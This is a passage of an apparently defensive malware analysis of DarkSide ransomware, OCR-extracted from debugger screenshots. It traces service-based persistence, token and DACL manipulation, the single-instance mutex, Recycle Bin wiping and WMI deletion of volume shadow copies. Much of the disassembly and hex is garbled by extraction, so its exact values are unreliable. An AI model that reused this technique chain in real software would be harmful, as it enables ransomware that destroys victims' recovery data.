68 FF 01 OF 00 push FO1FF X87SW_C1 O XB7SW_CO O X87SW_ES 0
08

FF 7 [ebp+s X87SW_SF 0 XB7SW_P 0  X87SW_U o
FF 75 FC
FF 15 00 08 42 00 v -
B 5 |Default (stdcal) ~ [5_F2] [ unlock
- = - = 1: [esp] 026C4850
dword ptr [00420800 <darkside.&DpenServicew>]=<advapi32.0penServicen> 2: [esp+4] 004103E4 L".954ebsoo”
3: [esp+8] ODOFOLFF
5. 4: [esp+c] 00000000
.TexT: 00402983 darkside.exe:$2983 #1D83 5: esp+10] 026C4850

L".954eb300"

P D26C4850
“hourpi  WhDump2  UHDump3  W4Dumpd  W4Dumps @ wawh1  (elleck P Stuct [ Ca o
e = T i lnn1arrsal nnoEn1eE

Figure 38

Because the service doesn’t exist, it will be created by the malware for persistence purposes, as shown in the following

pictures:
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.TexT:0040290C darkside.exe:$290C #1D0C

dword ptr [00420810 <darkside.&Createservicew>]=<advapi3z.Createservicew>

® || 004025E8 64 00 push 0
o || 004028EA 6A 00 push o
. 64 00 push o
. 6A 00 push o
. 64 00 push 0
004028F2 FF 35 C2 03 41 00 push dword ptr ds:
004025F8 64 00 push 0
004028FA 64 03 push 3
o || no4028FC 6A 10 push 10
o[ 0o40z8FE 63 FF 01 OF 00 push FOLFF
. FF 75 08 push dword ptr
. FF 75 08 push dword ptr
FF 75 FC push dword ptr
FF 15 10 08 42 00 call dword ptr

[4103c2]

p-41 -
<&Createservicenws]

x87Tagword FFFF

X87TW_0 3 (Empty)
X87TW_2 3 (Empty)
X87TW_4 3 (Empty)

x87TW_1 3 (Empty)
x87TW_3 3 (Empty)
x87TW_5 3 (Empty)
x87TW_7 3 (Empty)

004103
X87TW_6 3 (Empty)
x87statusword 0000
XB7SW_B X87SW_C3 O
:Ehl:H'S X87SW_C1 0 x87SW_CO O
[ebp+s X87SW_SF 0 XS7TSW_P O

g
iz
EE
a:

Woumpi  @4pump2  Y4oump3 U Dump4

WWoumps @ watch1  Ix=lLocals

2 struct

Hex

0D19FECB[88 02 00 00 6 67 7C

38 FF 19 00[70
EQ FE 19 0073
00 EE 19 00|48
Z 26|00

3F 00 OF O0|EA4F 29 7g|8F
BD_B2 40 D0

D019FEDS
OD19FEES
0D19FEFS
0019FFO8
0D19FF18
0019FF28(E8 €0 oC 02 |E4 03 41 00(E2 03 41 00
0D19FF38(10 00 00 00|03 00 00 00|00 0O 00 00

D0D19FF48(00 00 00 00|00 00 00 00|00 0O 0O 0O

FE| FF FF FF
E8 42 28 76

EE 13 00
00 00 00
DC 90 5C

Figure 39

74 C2 BA D8|....
=

BB 4F 29 76
00 00 00 00
BD EZ 40 00

FF 01 OF 00

00 00 00 00..

General |LogOn Recovery

954eb®00 Properties (Local Computer)

Dependencies

Senice name: 554eb500|
[heplay name: 954eb900

Descnpbon:
Path to executable:

Startup type: | Manual

"C:AUsers' IR Deskiop darkside exe”

Senace status:  Stopped

Start

from here.

Stop

Pause

Fesume

You can speciy the start parameters that apply when you start the senice

Start parameters: |

Cancel

Apply

Figure 40

The newly created service is started, and the binary launches itself as a service:

00402918 6A 00
00402910 64 00
0040291F FF 75

Fg
14 08 42 00

push o

call dword ptr d

push 0
push dword ptr ss:[febp-g]
[<&StartServicews]

[
| Default (stdcall)

X87SW_C1 O

X87SW_C2 O
X87SW_ES O
X87SW_U O

- [ Unlock

S

026CE0ES

esp

[esp+4] 004103E4 L".954eb900"
[esp+8] 004103E4 L".954eb900"
[esp+C] ODOFO1FF

[esp+10] 00000010

L".954eb900"
L".954eb900"

L"\"c:\\users\ Il \Desktop\\darkside. exa\""

X87SW_CO O
X87SW_P O

X87SW_ES O
X87SW_U O

‘ X87SW_SF 0

oiE
Defauit (stdcall)

~ [5 ] unlock

1: [es| 026C4B00
dword ptr [D0420814 <darkside.&StartServicews]=<advapi32.Startservicews 2: Es';l.,] 00000000
3: [esp+8] 00000DOO
4: [esp+C]_026C4B00
.text:00402922 darkside.exe:$2922 #1D22 5: Esg‘#l%] 026C60E8B
o 026C4B00
@Woump:  @lpump2 UDump3  @lpump4  Woumps @ watchi  e=llocals g Stuct DOL1SEES 4 | 00000000 ‘
Addrace Tuav TacrT T 1.1 0013FF58 | 00000000

Figure 41

SYSTEM privileges

The malicious binary can run with no arguments, one, two, or three arguments (these cases will be described later on).

As we can see below, it uses CommandLineToArgvW to obtain pointers to the command line arguments (argv[0] is the
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executable name) + the number of arguments:

text:08484132 cdll
LTdext884BA13E mov
LTdextieedBilzA test
Jtext:8848813C jz

CnmmaEdLinETnﬂrguw
ebx, eax
ebx, ebx

short loc_48AL16D

Ll s =]

Lext:@e48413E cmp
Jtext: 88484142 jnz

[ebp+var_B], 4
short loc_48Al6D

Ll et (=]

Ltext:eeddAlad mov
Jext:eed4shld? cmp
.text: 88484140 jnz

eax, [ebx+d]
dword ptr [eax], 77882Dh
short loc_48Al6D

bl e =

Jext:eed48Al4F cmp
Ltext: 88484156 jnz

dword ptr [eax+4], 728@86Fh
short loc_48A16D

[l et (=]

Jext:ee48A158 cmp
text:8848815C jnz

dword ptr [eax+8], 'k’

short loc_48A16D

: YYYVYY
FEE
Ltext:eed48A160
Jtext: 88488160 loc 48A16D0:
Ltext:0840A16D0 call sub_481F8A
Tdext:8edprl1v2 test eax, eax
Jtext: 88484174 jnz short loc_48A192

Ll e =]

text: 084848176 call
Jext:8e48A17E cmp

Figure 42

sub_ 481744
eax, 3h ; "¢

The WTSQueryUserToken API is utilized to obtain the primary access token of the logged-on user specified by

50 push eax XB7SW_SF O XB7SW_P 0 XB7SW. U 0
51 push ecx s -
Fg—> FF 15 34 09 42 00 €all dword ptr de:[<awTsgueryuserToken=] v
s TSR 5 | Defaut (strcal) ~ |[5_12] 0 unock
= = 1: [esp] 00000001
dword ptr [00420934 <darkside.&WTSQueryUserToken>]=<nwtsapi32.wTsQueryUserToken> 2: [esp+4] DOL9FF64
3: [espt8] 0040B2BD <darkside.EntryPoint>
= 4: [esp+C] 0040B2BD <darkside.EntryPoint>
. Text:004023A3 darkside.exe:$23A3 #17A3 5: [esptid] 00000000

&% Dump 1 4%/ Dump 2 @4 Dump 3 &4 Dump 4

Figure 43

%4 bump 5

& 00000001
@ wiatch1 | Bx=llocals 2 Struct 'D013FF4C | 0019FFG4

OpenWindowStationW is used to open the “Winsta0” windows station (the interactive window station), 0x40000 —
WRITE_DAC - modify the DACL in the security descriptor for the object:
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| 0040340 68 00 00 04 00 push 40000" T~ 77 XB7SW_B O XB7SW_C3 O XB7SW_ C2 O
. 6A 00 push 0 XB7SW_C1 O XB7SW_CO O XB7SW_ES O
. 8D 45 E4 Tea eax,dword ptr ss:[febp-1c] X87SW_SF 0 XB87SW_F 0 X87SW_U O
. 50 push eax eax:L" . - i
Eg—» FF 15 4C 08 42 00 €@l dword ptr ds:[<&OpenwindowStationws>] v
. , | Default (stdcal) ) ~[5_[2] [ unlock
= = — = = 1: [esp] DO19FF4C L'winstao™
dword ptr [0042084C <darkside.&OpenwindowStationw>]=<user32.0penwindowStationw> 2: [esp+4] 00000000
3: [esp+8] 00040000
: 4: [esp+C] 0040B2BD <darkside.EntryPoint>
. text:004034D8 darkside.exe: $34D8 #28D8 5: [esp+1D] 00408280 <darkside.entryPoint»
4 DD1SFF4C | L"Winstan”
@Woumpt  @Hoump2  @Wpumps  WWDump4  WWDumps @ wetchi | lleals ) stuct 00000000
R Tneree T i . | oo13FECo | 00040000

Figure 44

The DACL (discretionary access control list) of the “Winsta0” windows station is modified by calling the
NtSetSecurityObject routine with the 0x4 = DACL_SECURITY_INFORMATION parameter:

53 push ebx X87SW_C1 0 XB7SW_CO 0 XB7SW_ES O
BA 04 push 4 XB7SW_SF 0 xB7SW_P 0 xB87SwW_U o
FF 75 F8 push dword ptr fecbp-sj o -1 =
FF 15 CC 06 42 00 €all dword ptr ds: [<&Ntsetsecurityobject=] ~
e ey = 5 | Default (stocal) -
1 eS| 000002C4
dword ptr [004206CC <darkside.&NTsetSecurityobject>]=<ntdll.NtSetsecurityobject> 2: 25314] 00000004
3: [esp+s] 0019FEDS
T : i 4: [esp+C] 0040B2BD <darksiq=.EntryPuir_|t>
. text:004034EF darkside.exe:$34EF #2BEF 5: [esp+10] 0040B2BD <darkside.entryPoint>
o) 000002C4
Yhoump1  Wyoumpz  @hoump3  Woump4  @loumps @ watch1  bellocals 2 Stuct Rt i e
TSR Taerer T 7 loo1sreco| oo1sFeDs

Figure 45

There is a call to OpenDesktopW that is utilized to open the “Default” desktop object with the argument 0x40081 =
WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, as follows:

Lse €8 81 00 04 00 push 40081 x875tatusword 0000
. 6A 00 push 0 X875W_B 0 x875W C3 0 x875w. C2 O
. 6A 00 push 0 X875W_C1l 0 x875W_C0 O x87SW_ES O
. & 45 D4 Tea eax,dword ptr ss:[ebp-zc]] X87SW_SF 0 X&7SW_P 0 x87SW.U O
. 50 push eax eax:L"” PV
EIP FF 15 54 08 42 00 €all dword ptr ds:[<&openDesktopw-] v
. T e i 5 | pefeult (stacall ~|[5_[£]0] unlock

esp] D019FF3C L"Default™

esp+4] 00000000

esp+8] 00000000

esp+C] 00040081

: [esp+l0] 0040B2BD <darkside.EntryPoint>
L"Default™

dword ptr (00420854 <darkside.&OpenDesktopW>]=<user32.0penDesktopw>
.Text: 00403508 darkside.exe:$3508 #2908

& 0019FF3C

Wourp:  @lpump2  @Woump3  @lpump4  @Woumps @ watchi  I=llocals 4 Stuct OOL1SECRE | 00000000
001SFEBC | 00000000

N ——— I [ ~] 8515rec | coo4o0ss

Figure 46

The DACL of the “Default” desktop object is modified by calling the NtSetSecurityObject function with the 0x4 =
DACL_SECURITY_INFORMATION parameter:

53 push ebx XB7SW_C1 O XB7SW_CO O XB7SW_ES 0O
64 04 push 4 XB7SW_SF 0 XB7SW_P 0 XB7SW.U O
FF 75 F4 push dword ptr ss:[febp-cJ s .

FF 15 CC 06 42 00 call dword ptr ds:[<aNtsersecurityobject>]

v
5 | Default (stcal) ~|[5 2] urlock

[esp] DO0D00ZCO

[esp+4] 00000004

[esp+s] oo19FEDE

[esp+C] 0040B2BD <darkside.EntryPoint>
[esp+10] 0040B2BD <darkside.EntryPoint>

dword ptr [004206CC <darkside.&NTSersecurityobject>]=<ntdll.NTsetsecurityob]ects,

.TEXT:0040351F darkside.exe: $351F #291F

T
2:
3:
s
=3
0

@Woump1 | @pump2  W4pump3  WWDump4  EWpumps @ watch1  ellocls P stuct
Address | Hex | Asc1T ] | A
OUL9FECS | BD B2 40 00[00 00 00 DO[EL 7F 71 7A %@ Ie. ‘

darkside.EntryPoint
darkside. EntryPoint

20 49 62 02
0019FEDS 3100 02 00|00 00 0o 00|00 00 00 00|00 0O 0O 00

Figure 47

The malware creates a mutex called “Global\4787658f1cc4202b8a15e05dd0323fde” (this value has been computed
before this operation and represents a custom “hash” value of the malware), which makes sure that there is only one

instance of the ransomware running at a time (if the mutex already exists, then the malware quits):

FF 75 F4 push dword ptr ss:[ebp-CJj lebp-C || xB75W_C1 O xB7SW.CO O xB75W ES 0
6A 00 push 0 X87SW_SF 0 X8YSW_P 0 X87SW_.U 0
68 00 00 10 00 push 100000 = . NEES
80 07 42 00 €all dword ptr ds:[<&Opentutexws] v
== g T o 5 | Defauit (stcal) - [ unlock
e 1: [esp] 00100000
dword ptr [00420780 <darkside.&Opentutexs>]=<Kernel3Z.OpenmuTexns 3t Esglﬂ 00000000
3: [esp+8] 02656260 L"Global\\4787658F1cc4202b8a
. 4 . 4: [esp+C] 02656260 L"Global\\4787658F1cc4202b8a
. TEXT:0040A200 darkside.exe: $A300 #9700 5: [esptid] 0000000L
P 00100000
@Woump1 | @oump2  Wpump3  Woumpa  BWpumps @ watchi  bellocals ) stuct D019-F63 | 00000000
e [ Ui T | » | DD19FFEC | 02656260 | L"Globall\478765 8F1cc4202b8als e05ddn323Fde”

Figure 48

] FF 75 Fa push dword ptr ss:[ebp-cil [ebp-C X87SW_C1 0 x87SW_CO O x87SW_ES O
. BA 01 push 1 X87SW_SF 0 x875wW_P 0 x875W_U o
. 6A 00 push 0 S
> FF 15 84 07 42 00 €all dword ptr ds:[<&Createmutexw-] v
. S e e e 5 |Default (stdcal) -
dword ptr [00420784 <darkside.&CreateMutexws]=<kernel32.CreateMutexws esp+4] 00000001
esp+8] 02656260 L"Globaly'\4787658F1cc4202zb8a
: esp+C] 02656260 L"Global\\4787658F1cc4202bsa
.text:0040A330 darkside.exe:$A330 #9730 esp+10] 00000001
@Woump1  @pump2  loump3  Whoumps  @oumps @ watchi  xellocals ) Struct 00LSEFES | 00000001
[ i TascTT T T | 0019FF&C | 02656260 | L"G1oball\\ 478765 8f1cc4202bsalsensddoszzfde”
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Figure 49

The ransomware forces the system not to enter sleep mode and not to turn off the display while the process is running,
one of the parameters being 0x80000001 = ES_CONTINUOUS | ES_SYSTEM_REQUIRED:

00409F 55 Gou A push eax "7 TTTRTTT e XB7SW_SF 0 XB7SWP 0 XB7TSW.U 0
00405F 96 65 01 00 00 80 push 80000001 - - :
FF 15 AB 06 42 00 call dword ptr dEi[<aNtSetThreadExecutionstates]

JE
5 |Default (stdcal) ~ |[5_2] [ unlock

1: [esp] 80000001
dword ptr [004206A8 <darkside.&NTSEeTThreadEXecutionstates]=<ntdll.NTSerThreadExecutionstates 2t Eesglﬂ 0019FFE0
3: [esp+8] 0019FF7C
a
5

5 : [esp+C] 0040A345 darkside.0040A349
.TeXT:00409F98 darkside.exe:$9F98 #9398 [esp+l0] 00000000

& 8000000:
@Woump1 | @pump2  @Yoump3  Whpump4  @WhDumps @ watchi | B=llocals ¢ Struct [ rosares s EEERE

Figure 50

The file changes the privilege to SE_PRIVILEGE_ENABLED in order to enable the token’s privileges (note the
TOKEN_PRIVILEGES structure) by a function call to ZwAdjustPrivilegesToken:

6A 00 push o

GA 00 push 0 x875tatusword 0000

6A 00 push 0 XB75W_B O xB75W_C3 0O xB75W C2 O

FF 75 F4 push dword ptr ss:[ebp-cjj X87SW_C1 0 X87SW_CO O XBYSW_ES O

6A 00 pus| XB7SW_SF 0 XB7SW_P 0 XB7SW_U o

FF 75 FC push dword ptr ss:[ebp-aj |
EIP; FF 15 D4 06 42 00 call dword ptr [<&ZwAdjustPrivilegesTokens] v = .

L R e aoo . oS 5 |Default (stdcall v |5 2] unlockec

1: [es|
dword ptr [D04206D4 <darkside.&ZwAdjUsLPrivilegesToken>]=<ntdl1.ZwAd]USLPrivilegesToken> 2: Es';l.,] 00000000
3: [espt8] 02656440
4: [esp+C] 00000000
s

. TEXT:004022CE darkside.exe: §22CE #16CE esp+10] 00000000

) 000002C0
@Woump 1 Yypump2  @oump3  WMoumps  WWpumps @ watch:  Ix-llocals 2 stuct DO19FF20 4
Address | Hex ASCIT ~

02656440 [1C| 00 00 00[03 0O 00 00|00 00 00 00[03 00 00 0O0|W.
02656450 |04 00 00 00(00 0O 00 00|03 00 OO0 00|05 0O 00 0Of..
02656460 | 00 00 00 0D(03 0D 0O 00|07 00 OO0 00|00 0O 00 00f..
02656470|03 00 00 00(08 0O 00 00|00 00 OO0 00|03 0O 00 0Of..
02656480 |09 00 00 0D(0O 0D 0O 00|03 00 00 0O|0A 00 00 0Of..
02656490 | 00 00 00 00(03 0O 00 0O|0B 0O 00 00|00 0O 00 0Of..
026564A0| 03 00 00 00(0OC 0O 00 00|00 0O OO0 00|03 0O 00 0Of..
02656480 | 0D 00 00 00(DO 0D 0O 00|03 00 00 0O|OE 00 00 00f..
026564C0| 00 00 00 00(03 0O 00 0O|OF 00 OO0 00|00 0O 00 0Of..
026564D0| 03 00 00 00(10 0D 0O 00|00 00 OO0 00|03 00 00 00f..
026564E0|11 00 00 00(00 0O 00 00|03 00 00 00|12 00 00 0Of..
026564F0| 00 00 00 00(03 00 00 00|13 00 OO0 00|00 0O 00 0Of..
02656500|03 00 00 0D(14 0D 0O 00|00 0O OO0 00|03 00 00 00f..
02656510 |15 00 00 00(00 0O 0O 00|03 00 OO0 00|16 0O 00 0Of..

darkside.Entryroint
darkside.EntryPoint

0D19FF44 | 02654920
O019FF48 | 02656440
0012FF4C | 00000154
O019FF50 | 000002C0
O019FF54 | 0019FF68
00409FAG| return to darkside.00409FA6 from darkside.0od(
O019FF7C

02656520| 00 00 00 00(03 00 00 00(17 00 0O 0O(00 00 0O 0Of.. Snonaoon

02656530| 03 00 00 00(19 00 00 00|00 OO 00 00(03 00 00 OOf.. ODIBEEIC

02656540 1C 00 00 00|00 00 00 00|03 00 00 00[1D 0O 00 OOf.. - -
et e et e e R COADASAE bR 6 darkside. 0040A34E from darkside.004(
02656560 03 00 00 00|21 00 00 00|00 00 00 00[03 0O 00 OO nnaRAn 3

02656570 |22 00 00 00(0O 0D 0O 00|03 00 00 00|23 00 00 00

W >
Figure 51
The CreateThread API is used to create a new thread, as described in the next figure:
. & o0 (T
. 6A 00 push 0 x87statusword 0000
Ld 6A 00 push 0 X87SW_B 0 XxXB7SW_C3 0 X87SwW_C2 0O
. 68 AB 95 40 00 push darkside.4095A8 X87SW_C1 0 xXB7SW_CO 0 XB7SW_ES 0O
. 6A 00 push 0 X87SW_SF 0 XB7SW_P 0 X87SW_U o
. A 00 push o
FE—> FF 15 20 07 42 00 €all dword ptr ds:[<&CreateThread-] w
. 3 E;e.ﬁu\t{shdaln +|[s )00 unk
dword ptr [00420720 <darkside.&CreateThreads]=<kernel3z.CreateThreads N T )
3: [esp+8] D04095AB darkside.004035AB
y 4: [esp+C] 00000000
. text:00409FBE darkside.exe: S9FBE #93BE S: [esp+10] 00000000
8 Dump 1 - 5 a0 - oy = % 00000000
p Whoump2  @pump3  @Woump4  Wpumps @ watch1  Ixllecals & Stuct
004095AB | darkside.004095A8
Address | Hex | AscIz
0265644020 o] ©6C Q288 76 65 02 |EE FE EE FE|EE FE EE FE|.Qe. v 00000000
SEEE TS R S E S T G Gl Gl G G Gl 3 00000000
Figure 52
A list of valid drives on the system is extracted using the GetLogicalDriveStringsW routine:
® | D04040F3 push eax ‘ X87SW_SF 0 X87SW_P 0 X87SW_U 0O
® | 00304082 68 04 01 00 0O push 104 I
EF 15 68 07 42 00 €all dword ptr HS[<&GetLogicalDrivestringsw=] v
o e 5 | Default (stdcal) +|[s 100 unk
dword ptr [D0420768 <darkside.&GetLogicalDrivestringsn>]=<kernel3z, GetLogicalDrivestringsh> T T
3: [esp+8] 0040B2BD <darkside.EntryPoints
y 4: [esp+C] 0040B28D <darkside.EntryPoint>
. text:004040F9 darkside.exe: S40F9 #34F9 S: [esp+10] 00000000
@oump1  @oump2  EWpump3  BWoump4 | @pumps @ wath1  Iellocls | P Stuct TR

Figure 53

The ransomware is looking for DRIVE_ REMOVABLE (0x2) and DRIVE_FIXED (0x3) drives, as highlighted in
figure 54:
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Jtext:0848410E loc_4R418E:
Jtext:8848418E push esi
Jtext:ea484168F call GetDriveTypel
Jdext: 08484115 cmp eax, 3
Jtext:eadad1ls jz short loc_48411F

I

text:0048411A cnp
text: 88484110 jnz

eax, 2
short loc_484125

¥

L

.

Lol s (=]

Jtextieededllr

text:00468411F loc_48411F:

Jtext:8848411F push
Jtext 88484126 call

esi
sub_484136] |

Jextreedadls
Jextreedadlas

Ltext: 88484125 lea
Jewt 88484128 dec
Ldext:eedpdl29 test
Jtext: 88484128 jnz

loc_ae4125:

esi, [esi+8]

ebx

ebx, ebx

short loc_48418E

I

Figure 54

6A 00

8D 85 FO FD FF FF
50

FF 15 OC 07 42 00

All files and directories from Recycle Bin are deleted by the process.
API call:

push 0

push o

push o

Tea eax,dword ptr ss:[febp-460]
push eax

push o

Tea eax,dword ptr s
push eax

€all dword ptr ds:[<&FindFirstFileexws]

Bebp-210]

It starts to enumerate via a FindFirstFileExW

X8/

eax:L”

eax:L"

X87TW_6 3 (EmpTy)

IW_2 3 (EMPTY) X8/ IW_5 3 (EMPTY)

X87TW_7 3 (Empty)

x87statusword 0000
XB7SW_B O XBFSW_C3 0 X87SW_C2Z O
XB7SW_C1 O XB7SW_CO O X87SW_ES O
XB7SW_SF 0 XB7SW_P

0 x87SW_U O

v
Default (stdcall)

M [ Unlock

.TEXT:0040419E darkside.exe:$419E #359E

dword ptr [D042070C <darkside.&FindFirstFileExw>]=<kernel32.FindFirstrFileExw>

3
a:
55

@hoump1 | @pump2  WMDump3  WlDump 4

444 bump 5

@ watch 1 Ir=llocals & Struct

(P

Figure 55

RemoveDirectoryW routine:

FO
78 07 42 00
FO

B6 03 41 00
50 06 42 00
€7 45 FO 00 00 00 00

FF 75 FO

EIF, FF 15 74 07 42 00

Address | Hex
0019FD4C |43/ 00 3A 00[5C 00 00 00[44 00 3A 00[5C 00 0D 00|€.:.\
0019FD5C |00 00 00 00|1C_ED 13 00|00 00 00 00|FE FF FF FF|.

| Asc1I ]
D.:

push dword :[febp-10]
a1l dword <&R EMOVEDTrectoryws]
push dword lebp-10]

push 0

410386]
<&Rt1FreeHeap>]
:[febp-10,0

45C

push dword
gall dword
mov dword ptr
jmp darkside. 4

push dword ptr lebp-10]]
call dword ptr ds:[<aDeleterilews]

e

0019FBIC [ L C: \\JRecycle.Bin\\5-="
0019F3A4 | 00000000
‘0019F8AS | D019FBCC
©0019FSAC | 00000000
‘0019F8B0 | 00000000
0019F384 | 00000000

As presented below, the files are deleted using the DeleteFileW function, and the directories are removed using the

X87TW_4 3 (Empty)
X87TW_6 3 (Empty)

1: [esp] O019FBIC L™C:\\SRecycle.Bin\\5—*"
2: [esp+4] 00000000
[esp+8] 0019F8CC
[esp+C] 000000DODO
[esp+10] 00000000

W_c 3 (EMPLY)  KB/IW_3 3 LEmMpLY)
x87TW_5 3 (Empty)

x87TW_7 3 (Empty)

x87s5tatusword 0000
X87SW_B 0O
X87SW_C1 0 x87SW_CO O XS87SW_ES O
X87SW_SF 0 x87SW_P

X87SW_C3 0 x87SW.CZ O

0 x87SW_U O

It (stdcall)

M [ Unlocke

. Text:0040446E darkside.exe: $446E #3B6E

dword ptr [00420774 <darkside.&DeleteFilew>]=<kernel3z.DeleteFilew>

[ebp-1

[ebp-1

[word

[ebp-1

N

5 |pefau

1:
23
3:
4:

Figure 56

esp] 026576B8 L'C:\\SRecycle.Bin\\5-1-5-18\\
esp+4] 0040B28D <darkside.EntryPoint>

esp+a] 0019FD4C L"C:iW\"

esp+C]_0019FI0A

esp+10] 00000000

5:
02657688 | L"

"C:\\SRecvcle.Bin\\5-1-5-18\\desktoo.ini"

The binary uses COM objects and WMI commands to delete volume shadow copies. It calls the CoCreatelnstance

function to create a single object of the class IWbemLocator with the CLSID {dc12a687-737f-11cf-884d-
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00aa004b2e24} (Ref. https:/forum.powerbasic.com/forum/user-to-user-discussions/source-code/25222-wmi-wrapper-

functions):

' 50 push eax 7 & xa75tatusword 0020

! FF 75 Fa push dword ptr ss:[febp-cl X87SW_B 0 x87SW.C3 0 x87SWC2 O
£ 6A 01 push 1 X87SW_C1 0 x875W_CO O x87TSW_ES O
k 6A 00 push 0 XB87SW_SF 0 X87SW_F 1 X87sSW_U o
| FF 75 F8 push dword ptr ss:[ebp-sj

EE—— FF 15 A8 08 42 00 call dword ptr ds:[<&CoCreateInstances] ]
T T T 5 |Default (stdcal) ~ |[5_[+](J unlock

1: [esp] OZ6GOEFS

2: [esp+4] 00000000
3: [esp+d] 0000000L
4:
5:

dword ptr [004208A8 <darkside.&CoCreateInstance-]-<combase.CoCreateInstances

[esp+c] 02860040
[esp+1D] DODLOFF44

. Text:00404551 darkside.exe:$4551 #3951

Woump1  Gpump2  GWDump3  UWDump4  UWDumps @ watchi  Ix=llocals & Struct
Address | Hex ASCII
02660DA0 | 87 A6 12 DC ‘ 7F 73 CF 11|88 4D 00 AA|D0 4B 2E 24

Figure 57

TS

There is also a new IWbemContext interface with the CLSID {44aca674-e8fc-11d0-a07c-00c04fb68820} (Ref.
https://docs.microsoft.com/en-us/openspecs/windows protocols/ms-wmi/3485541f-6950-4e6d-98cb-1ed4bb143441)

created via a CoCreatelnstance function call:

50 push eax : s = x87statusword 0020

FF 75 F4 push dword ptr ss:[febp-c X87SW_B 0 X87SW. C3 0 x87SWC2Z O

64 01 push 1 XB7SW_CL 0 x875W_CO O x875W_ES O

64 00 push o XB7SW_SF 0 x875W_P 1 x&75W.U 0O

FF 75 F8 push dword ptr ss:[febp-3]

[EIF, FF 15 AS 08 42 00 call dword ptr ds:[<a&CocreateInstances] v
o 5 | pefoult (stacal) ~|[5_[2]0] unlock
esp] 02660DAD

dword ptr [004208A8 <darkside.&CoCreateInstances]=<combase.CoCreatelnstances esp+4] 00000000
esp+2] 00000001
esp+C) 02660EFS

. Text: 00404588 darkside.exe:$45B8 #3988 esp+10] 0019FF40

026600,
WWoumpt  @pump2  @4Dumps  @oumps  @oumps @ watch1  I-llocls ) Struct 0015EESG| 00000000
0019FES4
JDmdress | Hex |asc1T | 1 2 || 0D019FES8 | 02660EF8

8|74 82 5 £2]7Tc 28 89 1120 7c 00 CO[AT B¢ 3 23|6oue. [ET, O15FERC C01eF 10

S wn

Figure 58

Using the IWbemLocator object, the process calls the ConnectServer API to connect to the local “ROOT\CIMV2”

namespace and retrieves a pointer to a IWbemServices object, as follows:

Lol g e e e XBTTW 4 3 [Empty) XB7TW.S 3 (EMPLY)
push 5 X87TW_6 3 (Empty) X87TW_7 3 (Empty)
ush o
gush o x87statusword 0020
push 0 X87SW_B 0O XB7SW_C3 0O XxXB7SW._C2 O
push o X87SW_C1 0 XB7SW_CO O XB7SW_ES O
push dword ptr ss:[ebp-5] [ebp-8 X87SW_SF O XB7SW_P 1 XB7SW_U o
push dword ptr ss:[ebp-10]
call dword ptr dsi[edx+C] v
****** = 5 | pefeult (stica) + 5 E]0 unlodt
1: [esp] 02658C78
dword ptr [edx+C]=[wbemprox.G&CAD10EE]=nbemprox. GCADLEFD 3: [esp+d] 02662900 L"ROOTH\\CIMVZ"
3: [esp+E] 00000000
i 4: [esp+C] 00000000
. text:00404695 darkside.exe:$4695 #3A95 5: [esp+id] D0DDOOOD
) 02658C78
@Woumpi  @Hoump2  @Hoump3  Whpump4  WMoDumps @ wawhi  ellocals  # stuct 02662500 | L"ROOT\\CIMV2"
Address | Hex ASCIT EUOnIa,
02662900 |52 00 4F 00|4F 00 54 00|5C 00 43 00(49 00 4D 0O|R.0.0.T.%\.C.I.M. 00000000
02662910(56 00 32 00|00 00 AB AB|AB AB AB AB|AB AB EE FE|V.2. sasaxaaaip 00000000
02662920|00 00 00 00|00 00 00 00|62 A6 F6 2B|95 A7 00 00|.. b, 00000000
02662930 :ﬁ Z4 65 02110 56 64 OZ|EE FE EE EE EE FE EE FE 02662848
e e e T L e e 0019FESC | 0019FF3C

Figure 59

There is a call to CoSetProxyBlanket performed by the ransomware, as described in the next figure (0xA =
RPC_C_AUTHN_WINNT — NTLMSSP, 0x3 = RPC_C_AUTHN_LEVEL_CALL and 0x3 =
RPC_C_IMP_LEVEL_IMPERSONATE):

AS/im_w 3 \Gmpiy)  Aosim_3 3 \Sumpiy)
i gﬂzt‘\ g XB7TW_6 2 (Empty) x87TW_7 3 (Empty)
6A 03 push 3

6A 03 push 3 xB75tatusword 0020

6A 00 push 0 XB7SW_B O x875W_C3 0 XB7SW.C2 O
6A 00 push 0 XB7SW_C1 O X87SW_CO 0 XBYSW_ES O
GA DA push & XB7SW_SF O X87SW_P 1 XBYSW_U O
FF 75 EB push dword ptr ss:[ebp-15]

FF 15 AC D8 42 00 €all dword ptr ds: [<sCoSetProxyslanket>]

: 9
FF 15 AC 08 52 00 |call dw d | , | pefaut tacan ~|[5 0 unk

L. B 02671480
dword ptr [004208AC <darkside.a&CosetProxyBlanket>]=<combase.CoSetProxyBlanket> : E:glq 00000004

I
z

3: [esp+8] 00000D0D
4: [esp+C] 00000000
5
20

- TeXt:004046CA darkside.exe: $46CA #3ACA : [esp+10] 00000003

) 026714
@Woump1  @ypumpz @Hoump3  WHoump4  Wpumps @3 watchi | bellocals | Stuct DO0DD00A
Address | Hex ASCII
026714B0 Z ¥i M1 00000003

agaaaan
Y

s..

BO 13 2B oC |70 14 &7 02
026714C0| 00 00 00 00|00 00 00 00
026714D0| 44 00 00 00|99 DC 56 95
0; 4E0(00 32 40 C7|00 00 00 00

Figure 60

The process executes the following SQL query “SELECT * FROM Win32_ShadowCopy” to obtain an enumerator of

all shadow copies, and then it deletes each of the shadow copy objects via the DeleteInstance method:
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Figure 61

® || 004046FB 50 push eax
o | 00a046FC 6A 00 push 0 x87STatusword 0020
Ld 6A 30 push 30 XB7SW_B O XB7SW._C3 0 x87S5w_C2 O
. FF 75 F4 push dword ptr s [ebp-C XB75W_C1 O xB75W_CO O XB75W_ES O
. FF 75 F8 push dword ptr s [ebp-8 XB7SW_SF 0 xB7SW_P 1 XB7SW_U o
. FF 75 E8 push dword ptr s .
FF 52 50 call dword ptr d =
. e 5 | Default (stcal) +|[5 2] urlock
1: [es| 02671480
dword ptr [edx+50]=[fastprox.6C3B1500]=Fastprox.&C3DFF30 3t esg14] 0266F1ED L"WQL"
3: [esp+B] 026701F8 L"SELECT * FROM Win32_Shadow
2 4: [esptC] 00000030
. text: 00404709 darkside.exe:$4709 #3609 5: [esp+id] 00000000
W4 Dump 1 A4 4y jHy jHy (2] < 9 02671460
ump @oump2  @Dump3  WWDump4  BDump5 B watch1l  [x-llocals 4 Stuct 0266F1ED | L"WqL"
e [AscIz | 026701F8 |L"SELECT * FROM Win32_ShadonCopy™
026701F8 ||§8) 00 45 00(4C 00 45 00|43 00 54 00|20 00 2A 00|S.E.L.E.C.T. .7. 00000000
Bzcnosns|ghios % )0|3E o 3 o m a0 o ol o e ok e e . Soisreee | ooisress

